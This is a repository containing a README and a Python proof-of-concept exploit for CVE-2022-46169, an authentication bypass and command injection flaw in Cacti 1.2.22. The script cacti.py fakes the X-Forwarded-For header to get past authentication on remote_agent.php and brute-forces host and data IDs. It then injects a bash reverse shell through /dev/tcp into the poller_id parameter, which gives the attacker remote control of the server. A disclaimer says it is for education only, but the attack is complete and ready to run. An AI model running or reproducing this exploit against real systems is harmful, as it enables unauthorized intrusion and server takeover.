├── README.md └── cacti.py /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-46169 PoC: Authentication Bypass and Remote Code Execution 2 | 3 | This repository contains a PoC for the CVE-2022-46169 vulnerability, which allows an attacker to bypass authentication and execute arbitrary code remotely on the affected system. This vulnerability affects Cacti, version 1.2.22, released on August 18, 2022. 4 | 5 | The vulnerability occurs due to `remote_agent.php` has a function to retrieves IP address and verify an entry within the `poller` table. If an entry was found, the function will return `true` and the client is authorized. One of the actions is called `polldata` which retrive few request parameter, if the `action` of a `poller_item` equals to `POLLER_ACTION_SCRIPT_PHP` can lead the attacker to execute command injection vulnerability through `proc_open` 6 | 7 | The PoC demonstrates how an attacker can exploit this vulnerability to bypass authentication and execute arbitrary code remotely on the affected system. 8 | 9 | ## Requirement 10 | 11 | * Python3 12 | * Requests 13 | 14 | ## Usage 15 | 16 | Make sure `X-Forwarded-For` value is within the `poller` table 17 | You may change the `payload` 18 | 19 | ``` 20 | python3 cacti.py 21 | ``` 22 | 23 | ## Disclaimer 24 | 25 | This PoC is intended for educational and testing purposes only. Use of this PoC on any system or network without explicit permission from the system owner is illegal and may result in prosecution. The author assumes no liability for any damage caused by the use or misuse of this PoC. Use at your own risk. 26 | 27 | 28 | ## Reference 29 | 30 | [CVE Details](https://www.cvedetails.com/cve/CVE-2022-46169/) 31 | 32 | [Github](https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf) -------------------------------------------------------------------------------- /cacti.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import urllib.parse 3 | 4 | def checkVuln(): 5 | result = requests.get(vulnURL, headers=header) 6 | return (result.text != "FATAL: You are not authorized to use this service" and result.status_code == 200) 7 | 8 | def bruteForce(): 9 | # brute force to find host id and local data id 10 | for i in range(1, 5): 11 | for j in range(1, 10): 12 | vulnIdURL = f"{vulnURL}?action=polldata&poller_id=1&host_id={i}&local_data_ids[]={j}" 13 | result = requests.get(vulnIdURL, headers=header) 14 | 15 | if result.text != "[]": 16 | # print(result.text) 17 | rrdName = result.json()[0]["rrd_name"] 18 | if rrdName == "polling_time" or rrdName == "uptime": 19 | return True, i, j 20 | 21 | return False, -1, -1 22 | 23 | 24 | def remoteCodeExecution(payload, idHost, idLocal): 25 | encodedPayload = urllib.parse.quote(payload) 26 | injectedURL = f"{vulnURL}?action=polldata&poller_id=;{encodedPayload}&host_id={idHost}&local_data_ids[]={idLocal}" 27 | 28 | result = requests.get(injectedURL,headers=header) 29 | print(result.text) 30 | 31 | if __name__ == "__main__": 32 | targetURL = input("Enter the target address (like 'http://123.123.123.123:8080')") 33 | vulnURL = f"{targetURL}/remote_agent.php" 34 | # X-Forwarded-For value should be something in the database of Cacti 35 | header = {"X-Forwarded-For": "127.0.0.1"} 36 | print("Checking vulnerability...") 37 | if checkVuln(): 38 | print("App is vulnerable") 39 | isVuln, idHost, idLocal = bruteForce() 40 | print("Brute forcing id...") 41 | # RCE payload 42 | ipAddress = "192.168.1.15" 43 | ipAddress = input("Enter your IPv4 address") 44 | port = input("Enter the port you want to listen on") 45 | payload = f"bash -c 'bash -i >& /dev/tcp/{ipAddress}/{port} 0>&1'" 46 | if isVuln: 47 | print("Delivering payload...") 48 | remoteCodeExecution(payload, idHost, idLocal) 49 | else: 50 | print("RRD not found") 51 | else: 52 | print("Not vulnerable") 53 | --------------------------------------------------------------------------------